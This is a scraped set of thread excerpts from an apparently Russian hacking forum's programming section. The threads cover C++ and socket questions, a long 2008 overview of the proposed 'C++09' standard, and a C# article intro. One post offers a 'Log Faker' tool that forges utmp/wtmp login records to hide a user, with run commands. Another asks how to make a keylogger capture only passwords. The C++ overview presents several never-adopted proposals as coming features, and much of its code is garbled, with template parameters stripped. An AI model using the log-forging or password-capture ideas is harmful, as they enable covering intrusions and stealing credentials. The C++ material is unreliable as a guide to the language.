            if (Start == "HKCU")
            {
                rk = Registry.CurrentUser;
            }
            else
            {
                rk = Registry.LocalMachine;
            }

тоже не работает

извлечение текста и стилевой разметки из doc на с+
ID: 6765d804b4103b69df375b6a
Thread ID: 17319
Created: 2009-04-05T21:21:36+0000
Last Post: 2009-04-08T16:12:45+0000
Author: valid
Replies: 9 Views: 3K

Задача.

Извлечение из документа MS Word текста и разметки. Результаты
помещаются в два отдельных файла. C++. Работа с форматов
скрывается в библиотеке (стат. или динам.). Консольное приложение
получает на вход имя файла с MS Word документом, на выходе два
файла (текст и разметка).

Как узнать внешний IP клиента за натом?
ID: 6765d804b4103b69df375b6c
Thread ID: 16953
Created: 2009-02-17T18:00:32+0000
Last Post: 2009-02-17T19:24:55+0000
Author: SwaRR
Replies: 2 Views: 3K

Есть сервер, слушающий порт. К нему конектится клиент. Сервер принимает от него соединение accept'ом, и из (sockaddr) берет ip клиента. Так вот если клиент сидит за NAT, то сервер получает внутренний IP клиента. Подскажите как получить внешний айпишник?

кейлоггер хелп
ID: 6765d804b4103b69df375b6d
Thread ID: 16407
Created: 2008-11-30T17:23:27+0000
Last Post: 2008-12-17T20:57:53+0000
Author: _58joints
Replies: 3 Views: 3K

в курсовой надо описать принцип работы кейлоггера через хуки. Всё инфу по ним нашёл, остался 1 момент, надо чтоб в лог записывалась отлько та информация, которая при вводе с клавиатуры на экране превращается в звёздочи, короче чтоб только пароли записываались. Как это сделать подскажите плз?

Новый стандарт C++09
ID: 6765d804b4103b69df375b71
Thread ID: 14811
Created: 2008-03-18T22:34:52+0000
Last Post: 2008-03-18T22:34:52+0000
Author: AKella
Replies: 0 Views: 3K

Итак, в кратце, крупные нововведения следующие:

  • rvalue references
  • template aliases
  • variadic templates
  • concepts
  • unicode characters/strings
  • initializer lists

Примечание: имеется так же обзор того, чего НЕ будет в С++09. Новый стандарт C++: C++09 (сообщение #1602819)

Rvalue References
Появились т.н. ссылки на rvalue. Сначала поясню зачем их вообще изобрели. Исходных проблемы было две: forwarding problem и move semantics.

Forwarding problem
Эта проблема заключается в том, что текущий стандарт, для заданного выражения E(a1,a2,...,aN), которое зависит от параметров a1,a2,...,aN, не позволяет написать такую ф-цию(или функтор), которая будет эквивалентна этому выражению.

Проблема актуальна для разного рода шаблонных обёрток, фабрик, обобщённых функторов и т.п.

За идеал перенаправляющей ф-ции(perfect fowarding function) f(a1,a2,...,aN), которая вызывает g(a1,a2,...,aN) взяли следующие критерии:

  • Для всех наборов a1,a2,...,aN, для которых запись g(a1,a2,...,aN) корректна(well-formed), запись f(a1,a2,...,aN) должна быть так же корректна.
  • Для всех наборов a1,a2,...,aN, для которых запись g(a1,a2,...,aN) некорректна(ill-formed), запись f(a1,a2,...,aN) должна быть так же некорректна.
  • Количество работы, которую придётся проделать для реализации такой идеально-перенаправляющей ф-ции f должно не более чем линейно зависеть от N.

Вот простейший пример:
template < class T1, class T2, class T3>
void f(T1 &a1, T2 &a2, T3 &a3)
{
g(a1, a2, a3);
}
Всё бы хорошо, но нельзя сделать вызов f(1, 2, 3).

template < class T1, class T2, class T3>
void f(const T1 &a1, const T2 &a2, const T3 &a3)
{
g(a1, a2, a3);
}
Можно сделать вызов f(1, 2, 3), но, если g хотя бы для одного из параметров берёт неконстантную ссылку, то - облом.

template void f(A1 & a1)
{
g(a1);
}

template void f(A1 const & a1)
{
g(a1);
}
Для перегруженного варианта всё отлично, кроме 3-го пункта, а именно, при росте числа параметров N, кол-во ф-ций, которые придётся написать, равное 2N, будет расти совсем нелинейно.

Короче говоря, текущий стандарт решить эту проблему не позволяет.

Move semantics
С++ - язык, построенный на семантике копирования(copy semantics). Что такое семантика перемещения(move semantics)? Хороший пример - std::auto_ptr. Его конструктор копирования берёт неконстантную ссылку и перемещает хранимую в исходном объекте сущность в новый объект(тем самым избегая глубокого копирования). Но, несмотря на то, что конструктор копирования auto_ptr берёт неконстантную ссылку, его суть не в том, чтобы изменить объект, а в том, чтобы переместить к себе его содержимое. Так же, семантика перемещения не помешала бы строкам. Вообразим, что строки у нас без подсчёта ссылок. Теперь вообразим, сколько ресурсов будет затрачено на вычисление такого выражения:
string s = string("123")+"234"+"567"+"678"+"789";

будет создано как минимум 5 временных объектов и потом ещё произойдёт глубокое копирование результирующей строки в s(если нету подсчёта ссылок).
А теперь, вообразим, как было бы прекрасно, если бы конструктор копирования умел бы отличать какой объект ему подсунули - временный или нет. Действительно, о временных объектах можно не волноваться и с чистой совестью "забирать" у них выделеный ими буфер, без необходимости глубокого копирования.
К слову, эту проблему можно решить текущими возможностями языка, но очень уж некрасиво...

Что же нам предлагает новый стандарт?
А предлагает он следующее: ввести новый тип ссылок - rvalue reference.
Синтаксис:
T t; // lvalue
T &rt = t; // lvalue reference
T &rrt = t; // rvalue reference

// правила сворачивания ссылок
T cv1 & cv2 & <=> T cv12 &
T cv1 & cv2 && <=> T cv12 &
T cv1 && cv2 & <=> T cv12 &
T cv1 && cv2 && <=> T cv12 &&

Любая именованная rvalue-ссылка трактуется как lvalue.
Любая неименованная rvalue-ссылка трактуется как rvalue.
Т.к. теперь появилась возможность различать тип выражения(lvalue или rvalue), появилась и возможность кастовать lvalue к rvalue: static_cast<T &&>(lval) будет трактоваться как rvalue.
Возвращаемое значение из ф-ции интерпретируется как rvalue т. е.
return val; <=> return static_cast<ret_T &&>(val);

Т.о. можно избежать глубокого копирования и ограничиться только лишь перемещением из возвращающей ф-ции в вызвавшую(при наличии соответствующего конструктора).

Forwarding problem решается теперь следующим образом:
void g(long & a1)
{
++a1;
}

template void f(A1 && a1)
{
g(static_cast<A1 &&>(a1));
}

int i = 5;
g(i); //fails - int & to long & - запрещённый каст ещё в C++03
f(i); //fails
// A1 выводится(deduced) как int &
// A1 && <=> int & && <=> int &
// a1 - lvalue-reference of int
// static_cast<int &>(a1) - lvalue-reference of int
// f(i) не компилируется по тем же причинам, что и не компилируется g(i)

g(1L); // fails - rvalue of long to long & - запрещённый каст ещё в C++03
f(1L); // fails
// A1 выводится как long
// a1 - lvalue of long(named rvalue-reference <=> lvalue)
// static_cast<long &&>(a1) - rvalue of long(lvalue to rvalue cast)
// f(1L) не компилируется т.к. rvalue to non-const lvalue-reference - запрещённый каст ещё в C++03

long L;
g(L); // ok
f(L); // ok
// A1 выводится как long &
// A1 && <=> long & && <=> long &
// a1 - lvalue-reference of long
// static_cast<long &>(a1) - lvalue-reference of long
// f(L) компилируется(как и должна)

Move semantics обеспечивается следующим образом:
class string
{
public:
string(const string &); // copy constructor
string(string &&); // move constructor
string &operator +=(string &); // copy semantics operator +=
string &&operator +=(string &&); // move semantics opertor +=
};

string &&operator +(string &&s1, string &&s2)
{
return s1 += s2;
// т.к. s1 - временный объект, мы не создаём новую строку, мы модифицируем существующую
}

В случаях, когда необходимо вызвать конструктор перемещения для объекта, который не является rvalue, можно сделать каст, запросив необходимое поведение следующим образом:
string s1("abc");
string s2 = s1; // construct s2 as s1 copy
string s3 = static_cast<string &&>(s1); // move from s1 to s2

Лично я эту фичу считаю очень полезной. Особенно, учитывая появившуюся возможность отличать временные объекты от невременных таким образом увеличив производительность в разы, избавившись от лишних операций копирования.

Template aliases

Думаю все оценят эту фичу.
Проблем, побудивших ввести алиасы две.
Первая заключается в том, что очень часто появляется нужда в "шаблонном typedef'е". Wrokaround'ом этой проблемы как правило является следующая конструкция:
template < class T >
struct MyVector
{
typedef std::vector< T, MyAllocator< T > > type;
};

MyVector< int

::type vec; // не очень красивая запись

Вторая же проблема выражается в том, что при использовании вышеобозначенного workaround'а перестаёт работать вывод шаблонных параметров.
template < class T >
void f(std::vector< T > &)
{ }

template < class T >
void f2(typename MyVector< T

::type &)
{ }

std::vector< int > v;
MyVector< int

::type v2;
f(v); // ok
f2(v2); // ill-formed

Алиасы позволяют решить обе проблемы. Алиасы представляют из себя объявления. Они не определяют новых типов.

template < class T >
using MyVector = std::vector< T, MyAllocator< T > >;

using MyFloat = float;

void f1(float) { } // ok
void f1(MyFloat) { } // ill-formed - redefinition

Шаблонные алиасы нельзя специализировать, но, можно специализировать тип синонимом которого является алиас.

Variadic templates

Это нововведение избавляет программиста, реализующего библиотеку списков типов или библиотеку, подобную boost::bind от реализации всех возможных вариаций типа
template < class R >
unspecified bind(...);

template < class R, class A1 >
unspecified bind(...);

template < class R, class A1, class A2 >
unspecified bind(...);

// ...

template < class R, class A1, class A2, ..., class AN >
unspecified bind(...);

И позволяет сделать шаблон, принимающий переменное количество шаблонных параметров:
template < class R, class... Args> // здесь троеточие - это синтаксический элемент
R f(Args... args)
{
return g(args...); // вызываем g, передавая ей все аргументы.
}

Как к типам(Args), так и к экземплярам этих типов(args) можно применять разные операторы.
template < class R, class... Args >
R fwd_by_pointer(Args &... args) // <=> R fwd_by_pointer(Arg1 & arg1, Arg2 & arg2, ..., ArgN & argN)
{
return g(&args...); // <=> return g(&arg1, &arg2, ..., &argN);
}

Количество типов в наборе можно узнать с помощью нового оператора sizeof...:
template < class... Types >
struct S
{
enum { result = sizeof...(Types) };
};

Языковых средств для вытягивания типов из набора(Args) нету, но, это не очень сложно делается руками(и уже сделано в стандартной библиотеке - std::tuple и иже с ним). Языковых средств для вытягивания значения из набора(args) вроде как нету, но, опять же, руками это делается несложно - std::tuple тому пример.
В документах встречалось упоминание, что значение можно вытянуть как из массива(args[3], к примеру), но в грамматике я такого упоминания не нашел.

Concepts

Ну это вообще просто сказка :)
Пару слов про сами концепции. Любой, кто использовал обобщённые алгоритмы/структуры данных сталкивался с разного рода требованиями к обобщаемому типу. Наиболее распространенные: DefaultConstructible, CopyConstructible, LessThanComparable. Также, концепциями являются InputIterator, OutputIterator, ForwardIterator, etc. Короче говоря, это требования к обобщаемому типу, невыполнение которых может привести к ошибке инстанцирования шаблона. На данный момент такие требования повсеместно встречаются в документации(IS, boost docs, etc). Теперь эти требования можно будет выражать в коде.

Какие проблемы решат концепции?
Ну, во-первых, это, конечно то, что теперь, тип будет сначала проверятся на соответствие концепции и только после удачного завершения этой проверки, произойдёт попытка инстанцирования шаблона. Т.о. если тип не LessThanComparable, то при попытке использовать его в контейнере map(к примеру) не придётся втыкать на километры выданных компилятором ошибок. Ошибка будет выглядеть примерно так: "тип T не является LessThanComparable", что, замечу, большой плюс. Все, кто использовал boost::bind/lambda::bind оценят :)

Во-вторых, для компилируемого на данный момент клиентского кода, увеличится устойчивость к будущим изменениям в коде библиотеки(гарантии на завтрашний день) - если требование раньше было всего лишь словами и только в следующей версии библиотеки эти слова воплотили в жизнь, то без концепций, некоторый клиентский код может перестать работать, чего не скажешь о коде защищенном концепциями - даже если шаблон мог бы быть инстанцирован, но тип не прошёл проверок на соответствие концепциям, то будет выдана ошибка.

В-третьих, писать обобщённый код станет проще. С концепциями можно делать что только душе угодно. К примеру, если тип vector не соответствует концепции Stack(у него нету ф-ций push/pop), но, принципиально его можно использовать как тип соответствующий этой концепции(можно использовать ф-ции push_back/pop_back), то, без потери для общности, можно написать что-то вроде адаптера(concept_map), который будет приспосабливать данный тип к заданной концепции. Концепциями можно защитить не весь класс, а только некоторые его методы. Также, можно разработать несколько версий алгоритма эффективных для той или иной концепции и перегрузить его так, что будет выбран наиболее подходящий алгоритм.

Синтаксис концепций интуитивно понятен и поясню я только некоторые моменты.
// вот так определяются концепции
auto concept LessThanComparable< typename T >
{
bool operator<(T, T);
};

template< LessThanComparable T > // вот так предъявляются требования к типу T
const T& min(const T& x, const T& y)
{
return x < y ? x : y;
}

template < typename T >
where LessThanComparable< T > // или можно предъявить требования так
const T& min(const T& x, const T& y)
{
return x < y? x : y;
}

// пример более объёмной концепции
auto concept Regular < typename T >
{

T::t(); // default constructor

T::t(const T&); // copy constructor
T::~T(); // destructor
T& operator=(T&, const T&); // copy assignment
bool operator==(T, T); // equality comparison
bool operator!=(T, T); // inequality comparison
void swap(T&, T&); // swap
};

// ещё пример
auto concept Convertible <typename T, typename U>
{
operator U(T);
};

template < typename U, typename T >
where Convertible< T, U > // концепции можно использовать для задания некоторых взаимоотношений между несколькими типами
U convert(const T& t)
{
return t;
}

// итератор
auto concept InputIterator < typename Iter >
{
typename value_type; // ассоциированные типы
typename reference;
typename pointer;
typename difference_type;
where Regular; // вложенные требования
where Convertible<reference_type, value_type>;
reference operator*(Iter); // dereference
Iter& operator++(Iter&); // pre-increment
Iter operator++(Iter&, int); // post-increment
// ...
};

template
where RegularIter::value_type
Iter find(Iter first, Iter last, const Iter::value_type& value)
{
while (first != last && *first != value)
++first;
return first;
}

auto concept BinaryFunction<typename F, typename T1, typename T2>
{
typename result_type;
result_type operator()(F&, T1, T2);
};

auto concept BinaryPredicate<typename F, typename T1, typename T2>
: BinaryFunction<F, T1, T2> // пример "наследования" концепций
{
where Convertible<result_type, bool>;
};

// уточнение для char * у которого нету ассоциированных с ним типов
// аналог traits, только намного более мощный(см. далее)
concept_map InputIterator<char*>
{
typedef char value_type ;
typedef char& reference ;
typedef char* pointer ;
typedef std:: ptrdiff_t difference_type ;
};

concept Stack
{
typename value_type;
void push(X&, value type);
void pop(X&);
value type top(const X&);
bool empty(const X&);
};

// пример адаптации вектора к концепции Stack
template
concept_map Stack< std::vector >
{
typedef T value_type;
void push(std:: vector& v, T x) { v. push_back(x); }
void pop(std:: vector& v) { v. pop_back(); }
T top(const std:: vector& v) { return v.back(); }
bool empty(const std::vector& v) { return v.empty(); }
};

// концепция, которой удовлетворяет вектор(и не только)
concept BackInsertionSequence
{
typename value_type = X::value type;
void X::push_back(value type);
void X::pop_back();
value_type& X::back();
const value_type& X::back() const;
bool X::empty() const;
};

// пример, как можно адаптировать любой тип, удовлетворяющий концепции C1, к концепции C2.
// другими словами, как адаптировать одну концепцию к другой
template
concept_map Stack
{
typedef X::value_type value_type;
void push(X& x, value_type value ) { x. push_back(value); }
void pop(X& x) { x. pop_back(); }
T top(const X& x) { return x.back(); }
bool empty(const X& x) { return x.empty(); }
};

// пример перегрузки на основе концепций - будет выбрана самая "специфичная" форма
//т.е. для BidirectionalIterator будет выбран второй вариант, несмотря на то, что удовлетворяет и первый(InputIterator)
template
void advance(Iter& x, Iter::difference type n)
{
while (n > 0) { ++x; --n; }
}
template
void advance(Iter& x, Iter::difference type n)
{
if (n > 0) while (n > 0) { ++x; --n; }
else while (n < 0) { --x; ++n; }
}
template
void advance(Iter& x, Iter::difference type n)
{
x += n;
}

// пример разных реализаций контейнера для разных хранимых типов данных
template
class dictionary
{
// slow, linked-list implementation
};
template
where !Hashable
class dictionary
{
// balanced binary tree implementation
};
template
class dictionary
{
// hash table implementation
};

// пример, как можно обложить ограничениями не весь класс, а только некоторые ф-ции(причём разными ограничениями)
template<typename T, typename U>
struct pair
{
where DefaultConstructible && DefaultConstructible
pair() : first(), second() { }

where CopyConstructible && CopyConstructible
pair(const T& t, const U& u) : first(t), second(u) { }

where Destructible && Destructible
~pair() { }

where Assignable && Assignable
pair& operator=(const pair<T, U>& other)
{
first = other.first;
second = other.second;
}

T first;
U second;
};

// ещё пример, как помимо CopyConstructible, может понадобится DefaultConstructible
// но вектор может ф-ционировать и без второго требования потому его(требование) относят только к отдельной ф-ции.
template
class vector
{
public:
// обратите внимание, как одна ф-ция разделилась на две, дабы добавить контейнеру общности :)

// vector(size t n, const T& value = T());

vector(size t n, const T& value);

where DefaultConstructible vector(size t n);
};

Ключевое слово where в последней версии вроде как решили заменить на слово requires.

Unicode characters/strings
Ну, собственно, ничего интересного, кроме самого факта: теперь в С++ оффициальная поддержка UTF-16(u"...") и UTF-32(U"..."). Ну а факт, я считаю, немаловажный и вполне достойный соответствующего внимания со стороны публики :)
Появились новые типы char16_t и char32_t.
Также, отдельно рассматривается добавление UTF-8(E"...").

Initializer lists

X t1 = v; // "copy initialization" possibly copy construction
X t2(v); // direct initialization
X t3 = { v }; // initialize using initializer list <<<=================
X t4 = X(v); // make an X from v and copy it to t4

Достаточно обширное нововведение. Пока всех подробностей не выяснил, но, в двух словах постараюсь рассказать.
В языках типа C# практикуется такое:
f(new char[] {'1', 'a', '-'});

В С++09 предполагается нечто подобное(только без new :)).
Теперь можно будет написать
std::vector< int > v = { 1, 2, 3, 4, 5 };

Как написать класс, чтобы его можно было вот так инициализировать?
#include <initializer_list> // этот хэдер предоставляет класс std::initializer_list

namespace std
{
template class initializer_list
{
// representation implementation defined
// (probably two pointers or a pointer and a size)
// implementation defined constructor

public:
// default copy construction and copy assignment
// no default constructor
// default trivial destructor

constexpr int size() const; // number of elements
const T* begin() const; // first element
const T* end() const; // one-past-the-last element
};
}

class A
{
public:
A(std::initializer_list< char > a) { /* ... */ }
// ...
};

class B
{
public:
B(std::initializer_list< double > a) { /* ... */ }
// ...
};

void f(const A &a); // #1
void f(const B &b); // #2

int main
{

A a1 = {1, 2, 3};
A a2{2, 3, 4};
A a3;
a3 = A{3, 4, 5};

f({1, 2., 3}); // ambiguity
f(A{1, 2., 3}); // #1
f(B{1, 2., 3}); // #2
f({1., 2., 3.}); // #2
f{'a', 'b', 'c'}; // #1

return 0;
}

Синтаксические мелочи

static_assert
Новое ключевое слово, позволяет во время компиляции сделать проверку и, в случае чего, сгенерить ошибку компиляции(текст ошибки можно указывать).
Наибольшее применение, имхо, будет иметь в шаблонах, хотя, с появлением концепций - сомнительно :).
Так же, возможно использование как замена старой доброй директивы #error.
template
struct Check
{
static_assert(sizeof(int) <= sizeof(T), "not big enough");
};

Расширенная функциональность sizeof
struct C
{
some_type m;
// ...
};

const std::size_t sz = sizeof(C::m); // C++03 - error, C++09 - ok

Delegating Constructors
// C++03 workaround
class A
{
void Init(/* ... /) { / ... / }
public:
A()
{ Init(); };
A(/
... /)
{ Init(); /
... */ }
};

// C++09 well-formed code
class A
{
public:
A()
{ /* initializations / };
A(/
... /)
: A() // <<==== delegating construction
{ /
other initializations */ }
};

Inheriting Constructors
struct B1 {
B1( int, int ) {}
};

struct B2 {
B2( double, double ) {}
};

struct D1 : B1 {
using B1::B1; // impliclty declare D1( int a1, int a2 ) : B1(a1, a2) {}
int x;
};

struct D2 : B2 {
using B2::B2; // impliclty declare D2( double a1, double a2 ) : B2(a1, a2) {}
B1 b;
};

Deducing the type of variable from its initializer expression.
Достаточно интересная штука... настолько же, насколько и опасная, имхо...
int foo();
auto x1 = foo(); // x1 : int
const auto& x2 = foo(); // x2 : const int&
auto& x3 = foo(); // x3 : int&: error, cannot bind a reference to a temporary
float& bar();
auto y1 = bar(); // y1 : float
const auto& y2 = bar(); // y2 : const float&
auto& y3 = bar(); // y3 : float&
A* fii();
auto* z1 = fii(); // z1 : A*
auto z2 = fii(); // z2 : A*
auto* z3 = bar(); // error, bar does not return a pointer type

// из очень полезных применений вижу следующее
// особенно полезно при замене контейнера(-ов) на концептуально аналогичные, но по типизации разные
std::map< std::string, std::map< std::string, std::set< std::vector< bool >

container;
for (auto i1 = container.begin(), e1 = container.end(); i1 != e1; ++i1)
for (auto i2 = i1->second.begin(), e2 = i1->second.end(); i2 != e2; ++i2)
for (auto i3 = i2->second.begin(), e3 = i2->second.end(); i3 != e3; ++i3)
for(auto i4 = i3->begin(), e4 = i3->end(); i4 != e4; ++i4)
{
/* ... */
}

// ещё, появилась штука, ожидаемая под названием typeof.
// в C++09 её назвали decltype
decltype(container.begin()) i = container.begin();

Extended friend Declarations
class C;
typedef C Ct;

class X1
{
friend C; // OK: class C is a friend
};
class X2
{
friend Ct; // OK: class C is a friend
};
class X3
{
friend class Ct; // C++09 - ok, C++03 - ill-formed
};

Extern templates
template < class T >
class MyVector { /* ... */ };

template class MyVector< int >; // explicit instantination

extern tempalte class MyVector< int >; // extern explicit instantination

сделано для того, чтобы диначическая библиотека могла сделать у себя explicit instantination, а клиент у себя extern explicit instantintaion

Right Angle Brackets
std::vector<std::set> v; // C++03 - ill-formed, C++09 - well-formed

Range-based for-loop
int array[5] = { 1,2,3,4,5 };
std::vector< int > vec = { 1, 2, 3, 4, 5 }; // так инициализировать нельзя, но мы это опустим :)
for ( auto& x : array )
x *= 2;

for ( float x : vec )
std::cout << x << std::endl;

C99 Compatibility: func
namespace N { void f(); }
void N::f() { } // func is "f"

struct S
{
S() : s(func) { } // ok, s points to "S"
~S() { } // func is "~S"
operator int() { } // func is "conversion operator"
template int g();
const char *s;
};
S operator +(S,S) { } // func is "operator+"
template<> int S::g() { } // func is "g"

struct S
{
S() : s(func) { } // ok
const char *s;
};
void f(const char * s = func); // error: func is undeclared

Generalized Constant Expressions
constexpr - новое ключевое слово.
Суть нововведения в том, что теперь, например, можно как размерность массива использовать результат, возвращенный ф-цией.
struct A
{
constexpr A(int i) : val(i) { }
constexpr operator int() { return val; }
constexpr operator long() { return 43; }
private:
int val;
};

template struct X { };
constexpr A a = 42;
X x; // OK: unique conversion to int
int ary[a]; // error: ambiguous conversion

Explicit Conversion Operators
class T { };
class X
{
public:
explicit operator T() const;
};

int main()
{
X x;

// Direct initialization:
T t4( x );

// Copy initialization:
T t8 = x; // error

// Cast notation:
T t12 = (T) x;

// Static_cast:
T t16 = static_cast( x );

// Function-style cast:
T t20 = T( x );
return 0;
}

Raw String Literals
char s1 = "('(?:[^\\\']|\\\\.)'|"(?:[^\\\\"]|\\\\.)")|";
char s2 = R"[('(?:[^\']|\\.)'|"(?:[^\"]|\\.)
")|]" // кто работал с regex на с++ - оценят :)
// post: strcmp(s1, s2) == 0

char *s3 =
"\n"
"\n"
"Auto-generated html formated source\n"
"<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1252">\n"
"\n"
"<BODY LINK="#0000ff" VLINK="#800080" BGCOLOR="#ffffff">\n"
"

\n"
"
\n";

char *s4 =
R"[\

Auto-generated html formated source

  
 ]"  

// post: strcmp(s3, s4) == 0

A name for the null pointer: nullptr
char* ch = nullptr; // ch has the null pointer value
char* ch2 = 0; // ch2 has the null pointer value
int n = nullptr; // error
int n2 = 0; // n2 is zero
if( ch == 0 ); // evaluates to true
if( ch == nullptr ); // evaluates to true
if( ch ); // evaluates to false
if( n2 == 0 ); // evaluates to true
if( n2 == nullptr ); // error
if( nullptr ); // error, no conversion to bool
if( nullptr == 0 ); // error

// arithmetic
nullptr = 0; // error, nullptr is not an lvalue
nullptr + 2; // error

Alignment Support
// новые ключевые слова: alignas, alignof
const std::size_t align_of_int = alignof(int);
T alignas(T) alignas(long) t1;
T alignas(T) alignas(align_of_int) t2;

Prohibited access specifier
template< typename T >
struct owned_ptr
{
public:
explicit owned_ptr( T * p ) : pt( p ) {}
~owned_ptr() { delete pt; }

T * operator->() { return pt; }
T const * operator->() const { return pt; }

private:
T * pt;
void foo();

prohibited:
owned_ptr( owned_ptr const & );
owned_ptr & operator=( owned_ptr const & );
};
template< typename T >
void S< T >::foo()
{
new owned_ptr(*this); // compile-time error(не link-time)
}

Explicit class and default definitions
class A
explicit
{
// no implicitly declared/defined special member functions(default ctor, copy ctor, copy assignment operator, destructor)
};

class B
explicit
{
public:
B() {default} // default ctor definition(compiler generated)
};

class I
explicit
{
public:
virtual ~I() {default}
};

Defaulted and Deleted Functions
struct type
{
type() = default; // trivial
virtual ~type() = default; // non-trivial because virtual
type & operator =( const type & ); // declaration and....
};
inline // the inline definition keeps it trivial
type & type::operator =( const type & ) = default;

// --------------------------------------------------------------

struct type
{
type( const type & ); // declaration and....
};

type::type() = default; // the non-inline makes it non-trivial

// --------------------------------------------------------------
struct type
{
type & operator =( const type & ) = delete;
type( const type & ) = delete;
type() = default;
};
// --------------------------------------------------------------
struct type
{
void * operator new( std::size_t ) = delete;
};
// --------------------------------------------------------------
struct type
{
~type() = delete; // disable destructor
};
// --------------------------------------------------------------
struct type
{
type( long long ); // can initialize with an long long
type( long ) = delete; // but not anything less
};
extern void bar( type, long long ); // and the same for bad overloads
void bar( type, long ) = delete; // of free functions
// --------------------------------------------------------------
struct type
{
type( long long );
explicit type( long ) = delete;
};
extern void function( type );
function( type( 42 ) ); // error 42 promotes to long
function( 42 ); // okay type(long long); type(long) not considered

Pure implementation method declaration
struct Base
{
virtual void f1() = 0;
virtual void f2() = 0;
};

struct S
: public Base
{
virtual void f1() > 0; // должно быть определение S::f1, иначе compile-time error
virtual void f2() >= 0; // определение S::f2 может быть, а может и не быть :)
virtual void f3() > 0; // compile-time error - нету объявления Base::f3.
virtual void f4() >= 0; // compile-time error - нету объявления Base::f3.
};

Strongly Typed Enums
enum class E { E1, E2, E3 = 100, E4 /* = 101 / };
void f( E e )
{
if( e >= 100 ) ; // error: no E to int conversion
}
int i = E::E2; // error: no E to int conversion
// ------------------------------------------------------
enum class E { E1, E2, E3 = 100, E4 /
= 101 */ };
E e1 = E1; // error
E e2 = E::E2; // ok
// ------------------------------------------------------
enum class E : unsigned long { E1 = 1, E2 = 2, Ebig = 0xFFFFFFF0U };
unsigned long ul = E::Ebig;

Формальные мелочи

Conditionally-Supported Behavior
Добавлен новый вид определяемого стандартом поведения.
Теперь, конструкции для которых поведение было неопределено(UB), считаются conditionally-supported и могут интерпретировать либо как implementation- defined, либо как ill-formed.

Замена некоторых UB на Diagnosable Errors
К примеру, теперь передача non-POD в элипсис приведёт к ошибке компиляции, а не к UB как в C++03.

Новая модель выполнения программы
В связи с добавлением оффициальной поддержки multithreading.
Убрали понятие sequence point.
Добавили понятие evaluation - набор выборок(чтение значения переменной) и side effects, которые происходят в ходе вычисления выражения.
Понятие sequence point заменили аж тремя понятиями sequencing constraints: sequenced before, unsequenced, indeterminately sequenced. Эти понятия - отношения между двумя evaluations A и B(A sequenced before B, A and B unsequenced, etc).
Теперь порядок вычисления операндов не unspecified. Теперь evaluations of operands unsequenced :)
В связи с отсутствием понятия sequence point вычисление операндов операторов "a && b", "a || b", "a ? b : c" и "a, b" примерно следующее: evaluation of a is sequenced before evaluation of b.

Облегчение ограничений на POD'ы
Ввели два новых понятия: trivial-class и standard-layout-class. POD - это класс, который является одновременно и trivial и standard-layout.
Теперь все гарантии, которые давал POD можно разделить на 2 части: первые даются для trivial типов, вторые для standard-layout.
В общем теперь большее кол-во типов будет поддаваться копированию посредством memcpy и т.п.

Перегрузка операторов
Рассматривается возможность перегрузки операторов
.
.*
static_cast<>
const_cast<>
dynamic_cast<>

Стандартная библиотека

Дополнение к этому пункту и/или более подробные описания фич можно увидеть здесь:
Новый стандарт C++. C++09 (сообщение #1601275)

cstdint из C99
Добавленна опциональная поддержка типов с размером точно соответствующим указанному.
int8_t, int16_t, int32_t, int64_t
uint8_t, uint16_t, uint32_t, uint64_t

Обязательная поддержка для типов с размером не меньшим указанного.
int_least8_t, int_least16_t, etc.
uint_least8_t, etc.

И обязательная поддержка типов с размером точно соответствующим указанному, но, возможно, более быстрых, чем их least-эквиваленты.
int_fast8_t, etc.
uint_fast8_t, etc.

Контейнеры
Sequence container: std::array - см. ниже "Перешло из boost".
Unordered associative containers:
unordered_map, unordered_multimap,
unordered_set, unordered_multiset
Вполне ожидаемые контейнеры работающие по принципу хэширования, ранее известные под названием hash_set/map в "вольных" реализациях STLport, MS VC-8.0.

В связи с введением rvalue-reference и move semantics
Во-первых, повсеместное добавление/переведение вышеобозначенной семантики для повышения производительности(там, где это возможно).
Добавлены ф-ции помошники move и forward, означающие не что иное, как прямое предназначение rvalue-ссылок. Первая вынуждает использовать семантику перемещения даже если операнд - lvalue(-reference). Вторая осуществляет необходимые телодвижения для достижения perfect forwarding :)

Добавлен move_iterator< class Iter >, который работает точно также, как Iter, за исключением того, что его dereferencing оператор принуждает использовать семантику перемещения.

В связи с введением constexpr
Много где встречаются эти константные ф-ции(результат которых можно использовать даже для определения статического массива).
К примеру numeric_limits. Теперь его ф-ции min/max отвечают соответствующим требованиям.

Перешло из boost

std::tuple
Тож самое, что и boost::tuple, за одним отличием - переведён на синтаксис variadic templates.

std::bind
Тож самое, что и boost::bind, за одним отличием - переведён на синтаксис variadic templates.

std::array(sequence container)
Тож самое, что и boost::array. Вроде где-то упоминалось, что собираются сделать его N-мерным(в отличие от 1-мерного boost::array).

std::regex
См. boost::regex

Многопоточность
Ничего не могу сказать более определённого, чем то, что в новом С++ будет поддержка многопоточности и будет предоставленно API, совместимое с posix pthreads. Также, возможность выполнения атомарных операций(необходимо для синхронизации - реализации спин-локов)

Click to expand...

логические и побитовые операции
ID: 6765d804b4103b69df375ba1
Thread ID:
10108
Created: 2005-12-30T20:28:53+0000
Last Post: 2006-01-02T20:29:09+0000
Author: Dron
Replies: 8 Views: 3K

Пипл, плииз хелп ми! Можете кинуть линк на статейку про "Логические операции". Всё понимаю в С++ кроме этих логических операцей :blink:

Log Faker
ID: 6765d804b4103b69df375b73
Thread ID: 14579
Created: 2008-02-11T22:06:29+0000
Last Post: 2008-02-15T16:56:09+0000
Author: Sav1or
Replies: 1 Views: 3K

для себя написал простую утилиту которая подделывает данные логи(utmp,wtmp).
(о сушествовании vanish знаю :) )
компилим

Code:Copy to clipboard

gcc clean.c -o clr

запускаем

Code:Copy to clipboard

./clr username userconsole

username-имя пользователя которое надо найти в логах и исправить
userconsole-tty которое надо найти в логах и исправить.
по дефолту вшиты значения

Code:Copy to clipboard

#define NewName "hacker" /*new name of user*/
#define NewTty "newtty"  /*new name of console*/

к примеру до этого было

Code:Copy to clipboard

savior tty7  2008-01-24 2:08 (:0)

стало:

Code:Copy to clipboard

hacker newtty  2008-01-24 2:08 (:0)

скачать ТЫК

[WinSockets _C# или велосипед голыми руками]
ID: 6765d804b4103b69df375b75
Thread ID: 14437
Created: 2008-01-26T09:55:05+0000
Last Post: 2008-01-26T09:55:05+0000
Author: Jes
Replies: 0 Views: 3K

Хотел на Ачате выложить , а он седня с*** не пашет , ну для поддержания проэкта >

WinSockets _C# или велосипед голыми руками

[интро]
Собственно в этой статье нет ничего нового , особенного ...

Я даже не могу толком сказать , для кого эта статья ориентирована ... в первую очередь для новичков в C# ...
